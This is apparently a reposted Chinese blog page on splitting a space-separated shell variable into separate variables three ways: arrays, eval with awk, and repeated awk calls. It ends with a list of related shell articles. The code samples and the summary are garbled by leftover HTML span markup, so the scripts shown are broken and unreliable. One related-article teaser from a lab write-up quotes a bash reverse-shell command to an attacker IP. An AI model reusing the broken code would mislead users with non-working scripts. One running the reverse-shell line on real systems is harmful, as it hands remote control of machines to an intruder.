[转帖]shell 把以空格分隔的变量 分割后的每个字段赋值给变量

shell,空格,分隔,变量,分割,每个,字段,赋值 · 浏览次数 : 0

小编点评

**方法一:数组方式** ```bash a=123 b=456 c=789 ``` **方法二:eval+赋值** ```bash b="\"\""c=\"\""eval $(echo $a | awk '{ printf(\"b=%s;c=%s\",$1,\\(2<span class=\"token variable\">)</span></span><span class=\"token punctuation\">}</span>" ``` **方法三:awk循环** ```bash for i in $(echo $a | awk '{print $1,\\(2<span class=\"token variable\">)</span></span><span class=\"token keyword\">do arr<span class="token punctuation">[$index]=\\(i</span> index++ done echo ${arr[0]}echo ${arr[1]} ```

正文

比如我有一个变量 “123 456 789”,要求以空格为分隔符把这个变量分隔,并把分隔后的字段分别赋值给变量,即a=123;b=456;c=789
共有3中方法:
法一:先定义一个数组,然后把分隔出来的字段赋值给数组中的每一个元素
法二:通过eval+赋值的方式
法三:通过多次awk把每个字段赋值

[danni@vm-bestgame-18 shell]$ cat Demo1.sh 
#!/bin/bash

a="123 456"

#方法一:通过数组的方式
declare -a arr
index=0
for i in $(echo $a | awk '{print $1,\(2</span>}'</span><span class="token variable">)</span></span> <span class="token keyword">do</span> arr<span class="token punctuation">[</span><span class="token variable">\)index]=\(i</span> <span class="token keyword">let</span> <span class="token string">"index+=1"</span> <span class="token keyword">done</span> <span class="token keyword">echo</span> <span class="token variable">\){arr[0]}
echo ${arr[1]}

# 方法二:通过eval+赋值的方式
b=""
c=""
eval $(echo $a | awk '{ printf("b=%s;c=%s",$1,\(2<span class="token variable">)</span></span><span class="token punctuation">}</span><span class="token string">') echo <span class="token variable">\)b

方法三

m=""
n=""
m=</span><span class="token keyword">echo</span> $a <span class="token operator">|</span> <span class="token function">awk</span> <span class="token string">'{print <span class="token variable">$1</span>}'</span><span class="token variable">
n=echo <span class="token variable">$a</span> | awk '</span><span class="token punctuation">{<!-- --></span>print <span class="token variable">$2</span><span class="token punctuation">}</span>'
echo \(m</span> <span class="token keyword">echo</span> <span class="token variable">\)n

    文章知识点与官方知识档案匹配,可进一步学习相关知识
    Linux技能树Linux实用命令awk命令8647 人正在系统学习中

    与[转帖]shell 把以空格分隔的变量 分割后的每个字段赋值给变量相似的内容:

    [转帖]shell 把以空格分隔的变量 分割后的每个字段赋值给变量

    比如我有一个变量 “123 456 789”,要求以空格为分隔符把这个变量分隔,并把分隔后的字段分别赋值给变量,即a=123;b=456;c=789 共有3中方法: 法一:先定义一个数组,然后把分隔出来的字段赋值给数组中的每一个元素 法二:通过eval+赋值的方式 法三:通过多次awk把每个字段赋值

    [转帖]使用 Shell 运算进行进制转换 16进制转10进制

    使用 Shell 运算进行进制转换 工作时候常常遇到一些问题,拿到的数字是16进制的,但是运算的时候是10进制的,shell可以很方便的处理这类的进制转换问题,一种情况是使用 Shell 运算把一个数字从给定的进制转换位十进制。如果数字以运算展开式的形式提供,那么假定它带有十进制符号,除非 它前面带

    [转帖]Linux Shell编程 循环语法

    https://zhuanlan.zhihu.com/ for循环 for 循环是固定循环,也就是在循环时已经知道需要进行几次循环。有时也把 for 循环称为计数循环。语法: for 变量 in 值1 值2 值3… do 程序 done 在这种语法中,for 循环的次数取决于 in 后面值的个数(以

    [转帖]shell编程-字符截取命令

    grep 命令 命令格式: grep [选项] 查找的字符串 文件名 作用: 在文件中搜索查找字符串,显示匹配字符串所在的行。 选项: -i:查找时忽略大小写。-n:显示行号。-v:反向查找(把不含有要搜索字符串的所有行显示出来)。-c:计算匹配到 ‘搜寻字符串’ 的次数。-r:在指定的目录中查找,

    [转帖]别催了,别催了,这篇文章我一次性把 Shell 的内容说完

    https://my.oschina.net/jiagoushi/blog/6037198 Shell 搜索与匹配 1、在文件中查找字符串 grep 命令可以搜索文件,查找指定的字符串。 $ grep myvar *.c 在这个例子中,我们搜索的文件全都位于当前目录下。因此,我们只使用了简单的 sh

    [转帖]如何通过shell脚本对一个文件中的所有数值相加并求和

    https://developer.aliyun.com/article/886170?spm=a2c6h.24874632.expert-profile.255.7c46cfe9h5DxWK 1.背景 在一些巡检脚本中有时通常需要把一个文件中的数值进行相加得出综合,由于是文件中的所有数值,因此不能

    [转帖]Linux之bash反弹shell原理浅析

    环境 攻击机:kali ip:192.168.25.144 靶 机:centos ip:192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 攻击

    [转帖]Linux中EOF和Expect命令详解

    一、EOF说明 Shell中通常将EOF与 << 结合使用,表示后续的输入作为子命令或子Shell的输入,直到遇到EOF为止,再返回到主调Shell。可以把EOF替换成其他东西,意思是把内容当作标准输入传给程序。 回顾一下< <的用法。当shell看到< <的时候,它就会知道下一个词是一个分界符。在

    [转帖]Bash脚本编程学习笔记08:函数

    https://www.cnblogs.com/alongdidi/p/bash_function.html 官方资料:Shell Functions (Bash Reference Manual) 简介 正如我们在《Bash脚本编程学习笔记06:条件结构体》中最后所说的,我们应该把一些可能反复执行

    [转帖]shell带颜色的脚本

    https://www.cnblogs.com/fengzi7314/p/14139319.html 我们在写shell脚本的时候为了使输出出来的信息更加醒目一点,可以给不同状态的字体显示不同的颜色,如下: 我在这里最先定义了2个函数,log.info和log.err,一个输出正常信息为绿色,一个输